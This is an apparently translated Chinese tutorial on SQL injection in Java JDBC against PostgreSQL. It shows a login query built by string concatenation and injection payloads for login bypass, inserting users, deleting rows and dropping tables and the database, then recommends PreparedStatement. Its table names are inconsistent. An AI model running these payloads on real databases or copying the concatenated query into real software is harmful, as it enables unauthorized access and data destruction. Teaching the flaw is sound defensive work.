声明 SQL 注入邪恶
**请注意,**在此示例中,我们将使用 PostgreSQL DBMS,但你可以使用任何 DBMS
我们将使用数据库 bd_test
女巫包含 Schema: sch_test
和两个表 users
和 test
:
CREATE TABLE sch_test.users
(
id serial NOT NULL,
username character varying,
password character varying,
CONSTRAINT utilisateur_pkey PRIMARY KEY (id)
)
CREATE TABLE sch_test.test
(
id serial NOT NULL,
"column" character varying
)
使用 Statement 简单登录
static String DRIVER = "org.postgresql.Driver";
static String DB_USERNAME = "postgres";
static String DB_PASSWOR = "admin";
static String DB_URL = "jdbc:postgresql://localhost:5432/bd_test";
public static void sqlInjection() {
try {
Class.forName(DRIVER);
Connection connection = DriverManager.getConnection(DB_URL, DB_USERNAME, DB_PASSWOR);
Statement statement = connection.createStatement();
String username = "admin";
String password = "admin";
String query = "SELECT * FROM sch_test.users where username = '"
+ username + "' and password = '" + password + "'";
ResultSet result = statement.executeQuery(query);
if (result.next()) {
System.out.println("id = " + result.getInt("id") + " | username = "
+ result.getString("username") + " | password = " + result.getString("password"));
}else{
System.out.println("Login not correct");
}
} catch (ClassNotFoundException | SQLException e) {
e.printStackTrace();
}
}
到目前为止,每件事都是正常和安全的。
使用假用户名和密码登录
黑客或测试人员可以使用以下命令登录或列出所有用户:
String username = " ' or ''='";
String password = " ' or ''='";
插入新用户
你可以使用以下方法在表中插入数据:
String username = "'; INSERT INTO sch_test.utilisateur(id, username, password)
VALUES (2, 'hack1', 'hack2');--";
String password = "any";
删除所有用户
考虑黑客知道你的数据库的架构,以便他可以删除你的所有用户
String username = "'; DELETE FROM sch_test.utilisateur WHERE id>0;--";
String password = "any";
DROP 表用户
黑客也可以删除你的表
String username = "'; drop table sch_test.table2;--";
String password = "any";
DROP DATABASE
最糟糕的是丢弃数据库
String username = "'; DROP DATABASE bd_test;--";
String password = "any";
还有很多其他的。
为什么这一切?
所有这一切,因为 Statement
不够安全,它执行查询就像它,因为它建议使用 PreparedStatement
代替,它更安全 Statement
。
你可以在这里找到更多细节 PreparedStatement